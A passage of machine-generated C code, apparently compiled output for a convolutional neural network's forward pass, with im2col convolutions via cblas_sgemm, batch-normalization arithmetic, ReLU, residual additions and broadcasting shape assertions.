{\nint32_t x11064 = x11046 * x11053;\nint32_t x11065 = x11063 + x11064;\nint32_t x11059 = x11035 * x11053;\nfor(int x11054=0; x11054 < x11035; x11054++) {\nint32_t x11066 = x11047 * x11054;\nint32_t x11067 = x11065 + x11066;\nfloat x11069 = x10956[x11067];\nfloat x11070 = x38[x11068];\nint32_t x11056 = x11054 + x11055;\nint32_t x11058 = x11056 + x11057;\nint32_t x11060 = x11058 + x11059;\nfloat x11071 = x11069 + x11070;\nx11044[x11060] = x11071;\n\n}\n\n}\n\n}\n\n}\nfloat* x11081 = (float*)myMalloc(x11043 * sizeof(float));;\nfor(int x11083=0; x11083 < x11043; x11083++) {\nfloat x11084 = x11044[x11083];\nbool x11085 = x11084 < 0.0f;\nif (x11085) {\nx11081[x11083] = 0.0f;\n} else {\nfloat x11088 = x11044[x11083];\nx11081[x11083] = x11088;\n}\n\n}\nfloat* x11102 = (float*)myMalloc(x11101 * sizeof(float));;\nint32_t x11105 = 64 * x11033;\nint32_t x11106 = x11105 * x11097;\nfloat* x11107 = (float*)myMalloc(x11106 * sizeof(float));;\nint32_t x11103 = x11033 * x11097;\nfor(int x11108=0; x11108 < 64; x11108++) {\nint32_t x11109 = x11108 * x11042;\nfloat* x11110 = x11081+x11109;\nint32_t x11111 = x11108 * x11098;\nfloat* x11112 = x11102+x11111;\nint32_t x11113 = x11108 * x11103;\nfloat* x11114 = x11107+x11113;\nfor(int x11115=0; x11115 < x11033; x11115++) {\nint32_t x11116 = x11115 / 1;\nint32_t x11120 = x11116 * x11096;\nint32_t x11121 = x11120 * x11096;\nint32_t x11117 = x11115 % 1;\nint32_t x11118 = x11117 / 1;\nint32_t x11122 = x11118 * x11096;\nint32_t x11123 = x11122 * x11096;\nint32_t x11124 = x11121 + x11123;\nint32_t x11119 = x11117 % 1;\nint32_t x11125 = x11119 * x11096;\nint32_t x11126 = x11125 * x11096;\nint32_t x11127 = x11124 + x11126;\nfloat* x11128 = x11114+x11127;\nint32_t x11129 = x11116 * x11035;\nint32_t x11130 = x11129 * x11035;\nfloat* x11131 = x11110+x11130;\nfor(int x11133=0; x11133 < x11096; x11133++) {\nint32_t x11135 = x11133 * x11096;\nfloat* x11136 = x11128+x11135;\nint32_t x11134 = x11133 + x11118;\nint32_t x11137 = x11134 * x11035;\nint32_t x11138 = x11137 + x11119;\nfloat* x11139 = x11131+x11138;\nmemcpy(x11136, x11139, 4 * x11096);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x11097,x11033,1,x55,x11033,x11114,x11097,1,x11112,x11097);\n\n}\nint32_t x11148 = 0;\nint32_t x11149 = 1;\nx11149 *= 1;\nx11148 += 1;\nx11149 *= 1;\nx11149 *= 1;\nint32_t x11154 = x11148;\nbool x11155 = x11154 >= 2;\nif (x11155) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11160 = x11154 == 0;\nif (x11160) {\nint32_t x11161 = x11149;\nbool x11162 = x11161 == 512;\nif (x11162) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11169 = x11149;\nint32_t x11170 = 512 / x11169;\nbool x11171 = x11170 == 1;\nbool x11174;\nif (x454) {\nbool x11172 = 512 == x11170;\nbool x11173 = x11171 || x11172;\nx11174 = x11173;\n} else {\nx11174 = false;\n}\nbool x11178;\nif (x11174) {\nx11178 = x11177;\n} else {\nx11178 = false;\n}\nbool x11179;\nif (x11178) {\nx11179 = x11177;\n} else {\nx11179 = false;\n}\nif (x11179) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x11096,x11096,1,x11170,1,1);\nassert(false && \"\");\n}\nbool x11185 = 512 <= x11170;\nint32_t x11186;\nif (x11185) {\nx11186 = x11170;\n} else {\nx11186 = 512;\n}\nint32_t x11195 = x11186 * x11194;\nint32_t x11196 = 64 * x11195;\nfloat* x11197 = (float*)myMalloc(x11196 * sizeof(float));;\nint32_t x11200;\nif (x11171) {\nx11200 = 0;\n} else {\nx11200 = 1;\n}\nfor(int x11201=0; x11201 < 64; x11201++) {\nint32_t x11213 = x11098 * x11201;\nint32_t x11207 = x11195 * x11201;\nfor(int x11203=0; x11203 < x11186; x11203++) {\nint32_t x11214 = x11097 * x11203;\nint32_t x11215 = x11213 + x11214;\nint32_t x11220 = x11200 * x11203;\nint32_t x11209 = x11194 * x11203;\nfor(int x11205=0; x11205 < x11188; x11205++) {\nint32_t x11216 = x11198 * x11205;\nint32_t x11217 = x11215 + x11216;\nint32_t x11211 = x11188 * x11205;\nfor(int x11206=0; x11206 < x11188; x11206++) {\nint32_t x11218 = x11199 * x11206;\nint32_t x11219 = x11217 + x11218;\nfloat x11221 = x11102[x11219];\nfloat x11222 = x19[x11220];\nint32_t x11208 = x11206 + x11207;\nint32_t x11210 = x11208 + x11209;\nint32_t x11212 = x11210 + x11211;\nfloat x11223 = x11221 - x11222;\nx11197[x11212] = x11223;\n\n}\n\n}\n\n}\n\n}\nfloat* x11233 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x11234=0; x11234 < 512; x11234++) {\nfloat x11235 = x234[x11234];\nfloat x11236 = x11235 + 1.0E-5f;\nx11233[x11234] = x11236;\n\n}\nfloat* x11240 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x11241=0; x11241 < 512; x11241++) {\nfloat x11242 = x11233[x11241];\ndouble x11243 = (double)x11242;\ndouble x11244 = sqrt(x11243);\nfloat x11245 = (float)x11244;\nx11240[x11241] = x11245;\n\n}\nint32_t x11249 = 0;\nint32_t x11250 = 1;\nx11250 *= 1;\nx11249 += 1;\nx11250 *= 1;\nx11250 *= 1;\nint32_t x11255 = x11249;\nbool x11256 = x11255 >= 2;\nif (x11256) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11261 = x11255 == 0;\nif (x11261) {\nint32_t x11262 = x11250;\nbool x11263 = x11262 == 512;\nif (x11263) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11270 = x11250;\nbool x11272 = x11186 == 1;\nint32_t x11271 = 512 / x11270;\nbool x11273 = x11271 == 1;\nbool x11277;\nif (x454) {\nbool x11274 = x11272 || x11273;\nbool x11275 = x11186 == x11271;\nbool x11276 = x11274 || x11275;\nx11277 = x11276;\n} else {\nx11277 = false;\n}\nbool x11281;\nif (x11277) {\nx11281 = x11280;\n} else {\nx11281 = false;\n}\nbool x11282;\nif (x11281) {\nx11282 = x11280;\n} else {\nx11282 = false;\n}\nif (x11282) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x11186,x11188,x11188,1,x11271,1,1);\nassert(false && \"\");\n}\nbool x11288 = x11186 <= x11271;\nint32_t x11289;\nif (x11288) {\nx11289 = x11271;\n} else {\nx11289 = x11186;\n}\nint32_t x11298 = x11289 * x11297;\nint32_t x11299 = 64 * x11298;\nfloat* x11300 = (float*)myMalloc(x11299 * sizeof(float));;\nint32_t x11301;\nif (x11272) {\nx11301 = 0;\n} else {\nx11301 = x11194;\n}\nint32_t x11304;\nif (x11273) {\nx11304 = 0;\n} else {\nx11304 = 1;\n}\nfor(int x11305=0; x11305 < 64; x11305++) {\nint32_t x11317 = x11195 * x11305;\nint32_t x11311 = x11298 * x11305;\nfor(int x11307=0; x11307 < x11289; x11307++) {\nint32_t x11318 = x11301 * x11307;\nint32_t x11319 = x11317 + x11318;\nint32_t x11324 = x11304 * x11307;\nint32_t x11313 = x11297 * x11307;\nfor(int x11309=0; x11309 < x11291; x11309++) {\nint32_t x11320 = x11302 * x11309;\nint32_t x11321 = x11319 + x11320;\nint32_t x11315 = x11291 * x11309;\nfor(int x11310=0; x11310 < x11291; x11310++) {\nint32_t x11322 = x11303 * x11310;\nint32_t x11323 = x11321 + x11322;\nfloat x11325 = x11197[x11323];\nfloat x11326 = x11240[x11324];\nint32_t x11312 = x11310 + x11311;\nint32_t x11314 = x11312 + x11313;\nint32_t x11316 = x11314 + x11315;\nfloat x11327 = x11325 / x11326;\nx11300[x11316] = x11327;\n\n}\n\n}\n\n}\n\n}\nint32_t x11337 = 0;\nint32_t x11338 = 1;\nx11338 *= 1;\nx11337 += 1;\nx11338 *= 1;\nx11338 *= 1;\nint32_t x11343 = x11337;\nbool x11344 = x11343 >= 2;\nif (x11344) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11349 = x11343 == 0;\nif (x11349) {\nint32_t x11350 = x11338;\nbool x11351 = x11350 == 512;\nif (x11351) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11358 = x11338;\nbool x11360 = x11289 == 1;\nint32_t x11359 = 512 / x11358;\nbool x11361 = x11359 == 1;\nbool x11365;\nif (x454) {\nbool x11362 = x11360 || x11361;\nbool x11363 = x11289 == x11359;\nbool x11364 = x11362 || x11363;\nx11365 = x11364;\n} else {\nx11365 = false;\n}\nbool x11369;\nif (x11365) {\nx11369 = x11368;\n} else {\nx11369 = false;\n}\nbool x11370;\nif (x11369) {\nx11370 = x11368;\n} else {\nx11370 = false;\n}\nif (x11370) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x11289,x11291,x11291,1,x11359,1,1);\nassert(false && \"\");\n}\nbool x11376 = x11289 <= x11359;\nint32_t x11377;\nif (x11376) {\nx11377 = x11359;\n} else {\nx11377 = x11289;\n}\nint32_t x11386 = x11377 * x11385;\nint32_t x11387 = 64 * x11386;\nfloat* x11388 = (float*)myMalloc(x11387 * sizeof(float));;\nint32_t x11389;\nif (x11360) {\nx11389 = 0;\n} else {\nx11389 = x11297;\n}\nint32_t x11392;\nif (x11361) {\nx11392 = 0;\n} else {\nx11392 = 1;\n}\nfor(int x11393=0; x11393 < 64; x11393++) {\nint32_t x11405 = x11298 * x11393;\nint32_t x11399 = x11386 * x11393;\nfor(int x11395=0; x11395 < x11377; x11395++) {\nint32_t x11406 = x11389 * x11395;\nint32_t x11407 = x11405 + x11406;\nint32_t x11412 = x11392 * x11395;\nint32_t x11401 = x11385 * x11395;\nfor(int x11397=0; x11397 < x11379; x11397++) {\nint32_t x11408 = x11390 * x11397;\nint32_t x11409 = x11407 + x11408;\nint32_t x11403 = x11379 * x11397;\nfor(int x11398=0; x11398 < x11379; x11398++) {\nint32_t x11410 = x11391 * x11398;\nint32_t x11411 = x11409 + x11410;\nfloat x11413 = x11300[x11411];\nfloat x11414 = x156[x11412];\nint32_t x11400 = x11398 + x11399;\nint32_t x11402 = x11400 + x11401;\nint32_t x11404 = x11402 + x11403;\nfloat x11415 = x11413 * x11414;\nx11388[x11404] = x11415;\n\n}\n\n}\n\n}\n\n}\nint32_t x11425 = 0;\nint32_t x11426 = 1;\nx11426 *= 1;\nx11425 += 1;\nx11426 *= 1;\nx11426 *= 1;\nint32_t x11431 = x11425;\nbool x11432 = x11431 >= 2;\nif (x11432) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11437 = x11431 == 0;\nif (x11437) {\nint32_t x11438 = x11426;\nbool x11439 = x11438 == 512;\nif (x11439) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11446 = x11426;\nbool x11448 = x11377 == 1;\nint32_t x11447 = 512 / x11446;\nbool x11449 = x11447 == 1;\nbool x11453;\nif (x454) {\nbool x11450 = x11448 || x11449;\nbool x11451 = x11377 == x11447;\nbool x11452 = x11450 || x11451;\nx11453 = x11452;\n} else {\nx11453 = false;\n}\nbool x11457;\nif (x11453) {\nx11457 = x11456;\n} else {\nx11457 = false;\n}\nbool x11458;\nif (x11457) {\nx11458 = x11456;\n} else {\nx11458 = false;\n}\nif (x11458) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x11377,x11379,x11379,1,x11447,1,1);\nassert(false && \"\");\n}\nbool x11464 = x11377 <= x11447;\nint32_t x11465;\nif (x11464) {\nx11465 = x11447;\n} else {\nx11465 = x11377;\n}\nint32_t x11474 = x11465 * x11473;\nint32_t x11475 = 64 * x11474;\nfloat* x11476 = (float*)myMalloc(x11475 * sizeof(float));;\nint32_t x11477;\nif (x11448) {\nx11477 = 0;\n} else {\nx11477 = x11385;\n}\nint32_t x11480;\nif (x11449) {\nx11480 = 0;\n} else {\nx11480 = 1;\n}\nfor(int x11481=0; x11481 < 64; x11481++) {\nint32_t x11493 = x11386 * x11481;\nint32_t x11487 = x11474 * x11481;\nfor(int x11483=0; x11483 < x11465; x11483++) {\nint32_t x11494 = x11477 * x11483;\nint32_t x11495 = x11493 + x11494;\nint32_t x11500 = x11480 * x11483;\nint32_t x11489 = x11473 * x11483;\nfor(int x11485=0; x11485 < x11467; x11485++) {\nint32_t x11496 = x11478 * x11485;\nint32_t x11497 = x11495 + x11496;\nint32_t x11491 = x11467 * x11485;\nfor(int x11486=0; x11486 < x11467; x11486++) {\nint32_t x11498 = x11479 * x11486;\nint32_t x11499 = x11497 + x11498;\nfloat x11501 = x11388[x11499];\nfloat x11502 = x54[x11500];\nint32_t x11488 = x11486 + x11487;\nint32_t x11490 = x11488 + x11489;\nint32_t x11492 = x11490 + x11491;\nfloat x11503 = x11501 + x11502;\nx11476[x11492] = x11503;\n\n}\n\n}\n\n}\n\n}\nbool x11513 = x11465 == 1;\nbool x11514 = x11513 || x10101;\nbool x11515 = x11465 == x10053;\nbool x11516 = x11514 || x11515;\nbool x11521;\nif (x11516) {\nx11521 = x11520;\n} else {\nx11521 = false;\n}\nbool x11522;\nif (x11521) {\nx11522 = x11520;\n} else {\nx11522 = false;\n}\nif (x11522) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x11465,x11467,x11467,64,x10053,x10055,x10055);\nassert(false && \"\");\n}\nbool x11528 = x11465 <= x10053;\nint32_t x11529;\nif (x11528) {\nx11529 = x10053;\n} else {\nx11529 = x11465;\n}\nint32_t x11545;\nif (x11513) {\nx11545 = 0;\n} else {\nx11545 = x11473;\n}\nfor(int x11548=0; x11548 < 64; x11548++) {\nint32_t x11554 = x11474 * x11548;\nint32_t x11561 = x10062 * x11548;\nfor(int x11550=0; x11550 < x11529; x11550++) {\nint32_t x11555 = x11545 * x11550;\nint32_t x11556 = x11554 + x11555;\nint32_t x11562 = x10133 * x11550;\nint32_t x11563 = x11561 + x11562;\nfor(int x11552=0; x11552 < x11531; x11552++) {\nint32_t x11557 = x11546 * x11552;\nint32_t x11558 = x11556 + x11557;\nint32_t x11564 = x10134 * x11552;\nint32_t x11565 = x11563 + x11564;\nfor(int x11553=0; x11553 < x11531; x11553++) {\nint32_t x11559 = x11547 * x11553;\nint32_t x11560 = x11558 + x11559;\nfloat x11568 = x11476[x11560];\nint32_t x11566 = x10135 * x11553;\nint32_t x11567 = x11565 + x11566;\nfloat x11569 = x10168[x11567];\nfloat x11570 = x11568 + x11569;\nx11476[x11560] = x11570;\n\n}\n\n}\n\n}\n\n}\nfloat* x11580 = (float*)myMalloc(x11475 * sizeof(float));;\nfor(int x11582=0; x11582 < x11475; x11582++) {\nfloat x11583 = x11476[x11582];\nbool x11584 = x11583 < 0.0f;\nif (x11584) {\nx11580[x11582] = 0.0f;\n} else {\nfloat x11587 = x11476[x11582];\nx11580[x11582] = x11587;\n}\n\n}\nfloat* x11601 = (float*)myMalloc(x11600 * sizeof(float));;\nint32_t x11604 = 64 * x11465;\nint32_t x11605 = x11604 * x11596;\nfloat* x11606 = (float*)myMalloc(x11605 * sizeof(float));;\nint32_t x11602 = x11465 * x11596;\nfor(int x11607=0; x11607 < 64; x11607++) {\nint32_t x11608 = x11607 * x11474;\nfloat* x11609 = x11580+x11608;\nint32_t x11610 = x11607 * x11597;\nfloat* x11611 = x11601+x11610;\nint32_t x11612 = x11607 * x11602;\nfloat* x11613 = x11606+x11612;\nfor(int x11614=0; x11614 < x11465; x11614++) {\nint32_t x11615 = x11614 / 1;\nint32_t x11619 = x11615 * x11595;\nint32_t x11620 = x11619 * x11595;\nint32_t x11616 = x11614 % 1;\nint32_t x11617 = x11616 / 1;\nint32_t x11621 = x11617 * x11595;\nint32_t x11622 = x11621 * x11595;\nint32_t x11623 = x11620 + x11622;\nint32_t x11618 = x11616 % 1;\nint32_t x11624 = x11618 * x11595;\nint32_t x11625 = x11624 * x11595;\nint32_t x11626 = x11623 + x11625;\nfloat* x11627 = x11613+x11626;\nint32_t x11628 = x11615 * x11467;\nint32_t x11629 = x11628 * x11467;\nfloat* x11630 = x11609+x11629;\nfor(int x11632=0; x11632 < x11595; x11632++) {\nint32_t x11634 = x11632 * x11595;\nfloat* x11635 = x11627+x11634;\nint32_t x11633 = x11632 + x11617;\nint32_t x11636 = x11633 * x11467;\nint32_t x11637 = x11636 + x11618;\nfloat* x11638 = x11630+x11637;\nmemcpy(x11635, x11638, 4 * x11595);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x11596,x11465,1,x180,x11465,x11613,x11596,1,x11611,x11596);\n\n}\nint32_t x11647 = 0;\nint32_t x11648 = 1;\nx11648 *= 1;\nx11647 += 1;\nx11648 *= 1;\nx11648 *= 1;\nint32_t x11653 = x11647;\nbool x11654 = x11653 >= 2;\nif (x11654) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11659 = x11653 == 0;\nif (x11659) {\nint32_t x11660 = x11648;\nbool x11661 = x11660 == 256;\nif (x11661) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11668 = x11648;\nint32_t x11669 = 256 / x11668;\nbool x11670 = x11669 == 1;\nbool x11673;\nif (x454) {\nbool x11671 = 256 == x11669;\nbool x11672 = x11670 || x11671;\nx11673 = x11672;\n} else {\nx11673 = false;\n}\nbool x11677;\nif (x11673) {\nx11677 = x11676;\n} else {\nx11677 = false;\n}\nbool x11678;\nif (x11677) {\nx11678 = x11676;\n} else {\nx11678 = false;\n}\nif (x11678) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x11595,x11595,1,x11669,1,1);\nassert(false && \"\");\n}\nbool x11684 = 256 <= x11669;\nint32_t x11685;\nif (x11684) {\nx11685 = x11669;\n} else {\nx11685 = 256;\n}\nint32_t x11694 = x11685 * x11693;\nint32_t x11695 = 64 * x11694;\nfloat* x11696 = (float*)myMalloc(x11695 * sizeof(float));;\nint32_t x11699;\nif (x11670) {\nx11699 = 0;\n} else {\nx11699 = 1;\n}\nfor(int x11700=0; x11700 < 64; x11700++) {\nint32_t x11712 = x11597 * x11700;\nint32_t x11706 = x11694 * x11700;\nfor(int x11702=0; x11702 < x11685; x11702++) {\nint32_t x11713 = x11596 * x11702;\nint32_t x11714 = x11712 + x11713;\nint32_t x11719 = x11699 * x11702;\nint32_t x11708 = x11693 * x11702;\nfor(int x11704=0; x11704 < x11687; x11704++) {\nint32_t x11715 = x11697 * x11704;\nint32_t x11716 = x11714 + x11715;\nint32_t x11710 = x11687 * x11704;\nfor(int x11705=0; x11705 < x11687; x11705++) {\nint32_t x11717 = x11698 * x11705;\nint32_t x11718 = x11716 + x11717;\nfloat x11720 = x11601[x11718];\nfloat x11721 = x131[x11719];\nint32_t x11707 = x11705 + x11706;\nint32_t x11709 = x11707 + x11708;\nint32_t x11711 = x11709 + x11710;\nfloat x11722 = x11720 - x11721;\nx11696[x11711] = x11722;\n\n}\n\n}\n\n}\n\n}\nfloat* x11732 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x11733=0; x11733 < 256; x11733++) {\nfloat x11734 = x198[x11733];\nfloat x11735 = x11734 + 1.0E-5f;\nx11732[x11733] = x11735;\n\n}\nfloat* x11739 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x11740=0; x11740 < 256; x11740++) {\nfloat x11741 = x11732[x11740];\ndouble x11742 = (double)x11741;\ndouble x11743 = sqrt(x11742);\nfloat x11744 = (float)x11743;\nx11739[x11740] = x11744;\n\n}\nint32_t x11748 = 0;\nint32_t x11749 = 1;\nx11749 *= 1;\nx11748 += 1;\nx11749 *= 1;\nx11749 *= 1;\nint32_t x11754 = x11748;\nbool x11755 = x11754 >= 2;\nif (x11755) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11760 = x11754 == 0;\nif (x11760) {\nint32_t x11761 = x11749;\nbool x11762 = x11761 == 256;\nif (x11762) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11769 = x11749;\nbool x11771 = x11685 == 1;\nint32_t x11770 = 256 / x11769;\nbool x11772 = x11770 == 1;\nbool x11776;\nif (x454) {\nbool x11773 = x11771 || x11772;\nbool x11774 = x11685 == x11770;\nbool x11775 = x11773 || x11774;\nx11776 = x11775;\n} else {\nx11776 = false;\n}\nbool x11780;\nif (x11776) {\nx11780 = x11779;\n} else {\nx11780 = false;\n}\nbool x11781;\nif (x11780) {\nx11781 = x11779;\n} else {\nx11781 = false;\n}\nif (x11781) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x11685,x11687,x11687,1,x11770,1,1);\nassert(false && \"\");\n}\nbool x11787 = x11685 <= x11770;\nint32_t x11788;\nif (x11787) {\nx11788 = x11770;\n} else {\nx11788 = x11685;\n}\nint32_t x11797 = x11788 * x11796;\nint32_t x11798 = 64 * x11797;\nfloat* x11799 = (float*)myMalloc(x11798 * sizeof(float));;\nint32_t x11800;\nif (x11771) {\nx11800 = 0;\n} else {\nx11800 = x11693;\n}\nint32_t x11803;\nif (x11772) {\nx11803 = 0;\n} else {\nx11803 = 1;\n}\nfor(int x11804=0; x11804 < 64; x11804++) {\nint32_t x11816 = x11694 * x11804;\nint32_t x11810 = x11797 * x11804;\nfor(int x11806=0; x11806 < x11788; x11806++) {\nint32_t x11817 = x11800 * x11806;\nint32_t x11818 = x11816 + x11817;\nint32_t x11823 = x11803 * x11806;\nint32_t x11812 = x11796 * x11806;\nfor(int x11808=0; x11808 < x11790; x11808++) {\nint32_t x11819 = x11801 * x11808;\nint32_t x11820 = x11818 + x11819;\nint32_t x11814 = x11790 * x11808;\nfor(int x11809=0; x11809 < x11790; x11809++) {\nint32_t x11821 = x11802 * x11809;\nint32_t x11822 = x11820 + x11821;\nfloat x11824 = x11696[x11822];\nfloat x11825 = x11739[x11823];\nint32_t x11811 = x11809 + x11810;\nint32_t x11813 = x11811 + x11812;\nint32_t x11815 = x11813 + x11814;\nfloat x11826 = x11824 / x11825;\nx11799[x11815] = x11826;\n\n}\n\n}\n\n}\n\n}\nint32_t x11836 = 0;\nint32_t x11837 = 1;\nx11837 *= 1;\nx11836 += 1;\nx11837 *= 1;\nx11837 *= 1;\nint32_t x11842 = x11836;\nbool x11843 = x11842 >= 2;\nif (x11843) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11848 = x11842 == 0;\nif (x11848) {\nint32_t x11849 = x11837;\nbool x11850 = x11849 == 256;\nif (x11850) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11857 = x11837;\nbool x11859 = x11788 == 1;\nint32_t x11858 = 256 / x11857;\nbool x11860 = x11858 == 1;\nbool x11864;\nif (x454) {\nbool x11861 = x11859 || x11860;\nbool x11862 = x11788 == x11858;\nbool x11863 = x11861 || x11862;\nx11864 = x11863;\n} else {\nx11864 = false;\n}\nbool x11868;\nif (x11864) {\nx11868 = x11867;\n} else {\nx11868 = false;\n}\nbool x11869;\nif (x11868) {\nx11869 = x11867;\n} else {\nx11869 = false;\n}\nif (x11869) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x11788,x11790,x11790,1,x11858,1,1);\nassert(false && \"\");\n}\nbool x11875 = x11788 <= x11858;\nint32_t x11876;\nif (x11875) {\nx11876 = x11858;\n} else {\nx11876 = x11788;\n}\nint32_t x11885 = x11876 * x11884;\nint32_t x11886 = 64 * x11885;\nfloat* x11887 = (float*)myMalloc(x11886 * sizeof(float));;\nint32_t x11888;\nif (x11859) {\nx11888 = 0;\n} else {\nx11888 = x11796;\n}\nint32_t x11891;\nif (x11860) {\nx11891 = 0;\n} else {\nx11891 = 1;\n}\nfor(int x11892=0; x11892 < 64; x11892++) {\nint32_t x11904 = x11797 * x11892;\nint32_t x11898 = x11885 * x11892;\nfor(int x11894=0; x11894 < x11876; x11894++) {\nint32_t x11905 = x11888 * x11894;\nint32_t x11906 = x11904 + x11905;\nint32_t x11911 = x11891 * x11894;\nint32_t x11900 = x11884 * x11894;\nfor(int x11896=0; x11896 < x11878; x11896++) {\nint32_t x11907 = x11889 * x11896;\nint32_t x11908 = x11906 + x11907;\nint32_t x11902 = x11878 * x11896;\nfor(int x11897=0; x11897 < x11878; x11897++) {\nint32_t x11909 = x11890 * x11897;\nint32_t x11910 = x11908 + x11909;\nfloat x11912 = x11799[x11910];\nfloat x11913 = x270[x11911];\nint32_t x11899 = x11897 + x11898;\nint32_t x11901 = x11899 + x11900;\nint32_t x11903 = x11901 + x11902;\nfloat x11914 = x11912 * x11913;\nx11887[x11903] = x11914;\n\n}\n\n}\n\n}\n\n}\nint32_t x11924 = 0;\nint32_t x11925 = 1;\nx11925 *= 1;\nx11924 += 1;\nx11925 *= 1;\nx11925 *= 1;\nint32_t x11930 = x11924;\nbool x11931 = x11930 >= 2;\nif (x11931) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11936 = x11930 == 0;\nif (x11936) {\nint32_t x11937 = x11925;\nbool x11938 = x11937 == 256;\nif (x11938) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11945 = x11925;\nbool x11947 = x11876 == 1;\nint32_t x11946 = 256 / x11945;\nbool x11948 = x11946 == 1;\nbool x11952;\nif (x454) {\nbool x11949 = x11947 || x11948;\nbool x11950 = x11876 == x11946;\nbool x11951 = x11949 || x11950;\nx11952 = x11951;\n} else {\nx11952 = false;\n}\nbool x11956;\nif (x11952) {\nx11956 = x11955;\n} else {\nx11956 = false;\n}\nbool x11957;\nif (x11956) {\nx11957 = x11955;\n} else {\nx11957 = false;\n}\nif (x11957) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x11876,x11878,x11878,1,x11946,1,1);\nassert(false && \"\");\n}\nbool x11963 = x11876 <= x11946;\nint32_t x11964;\nif (x11963) {\nx11964 = x11946;\n} else {\nx11964 = x11876;\n}\nint32_t x11973 = x11964 * x11972;\nint32_t x11974 = 64 * x11973;\nfloat* x11975 = (float*)myMalloc(x11974 * sizeof(float));;\nint32_t x11976;\nif (x11947) {\nx11976 = 0;\n} else {\nx11976 = x11884;\n}\nint32_t x11979;\nif (x11948) {\nx11979 = 0;\n} else {\nx11979 = 1;\n}\nfor(int x11980=0; x11980 < 64; x11980++) {\nint32_t x11992 = x11885 * x11980;\nint32_t x11986 = x11973 * x11980;\nfor(int x11982=0; x11982 < x11964; x11982++) {\nint32_t x11993 = x11976 * x11982;\nint32_t x11994 = x11992 + x11993;\nint32_t x11999 = x11979 * x11982;\nint32_t x11988 = x11972 * x11982;\nfor(int x11984=0; x11984 < x11966; x11984++) {\nint32_t x11995 = x11977 * x11984;\nint32_t x11996 = x11994 + x11995;\nint32_t x11990 = x11966 * x11984;\nfor(int x11985=0; x11985 < x11966; x11985++) {\nint32_t x11997 = x11978 * x11985;\nint32_t x11998 = x11996 + x11997;\nfloat x12000 = x11887[x11998];\nfloat x12001 = x21[x11999];\nint32_t x11987 = x11985 + x11986;\nint32_t x11989 = x11987 + x11988;\nint32_t x11991 = x11989 + x11990;\nfloat x12002 = x12000 + x12001;\nx11975[x11991] = x12002;\n\n}\n\n}\n\n}\n\n}\nfloat* x12012 = (float*)myMalloc(x11974 * sizeof(float));;\nfor(int x12014=0; x12014 < x11974; x12014++) {\nfloat x12015 = x11975[x12014];\nbool x12016 = x12015 < 0.0f;\nif (x12016) {\nx12012[x12014] = 0.0f;\n} else {\nfloat x12019 = x11975[x12014];\nx12012[x12014] = x12019;\n}\n\n}\nfloat* x12034 = (float*)myMalloc(x12033 * sizeof(float));;\nint32_t x12035 = 9 * x11964;\nint32_t x12038 = 64 * x12035;\nint32_t x12039 = x12038 * x12029;\nfloat* x12040 = (float*)myMalloc(x12039 * sizeof(float));;\nint32_t x12036 = x12035 * x12029;\nint32_t x12048 = x11964 * 3;\nint32_t x12049 = x12048 * 3;\nfor(int x12041=0; x12041 < 64; x12041++) {\nint32_t x12042 = x12041 * x11973;\nfloat* x12043 = x12012+x12042;\nint32_t x12044 = x12041 * x12030;\nfloat* x12045 = x12034+x12044;\nint32_t x12046 = x12041 * x12036;\nfloat* x12047 = x12040+x12046;\nfor(int x12051=0; x12051 < x12049; x12051++) {\nint32_t x12052 = x12051 / 9;\nint32_t x12056 = x12052 * 3;\nint32_t x12057 = x12056 * 3;\nint32_t x12058 = x12057 * x12028;\nint32_t x12059 = x12058 * x12028;\nint32_t x12053 = x12051 % 9;\nint32_t x12054 = x12053 / 3;\nint32_t x12060 = x12054 * 3;\nint32_t x12061 = x12060 * x12028;\nint32_t x12062 = x12061 * x12028;\nint32_t x12063 = x12059 + x12062;\nint32_t x12055 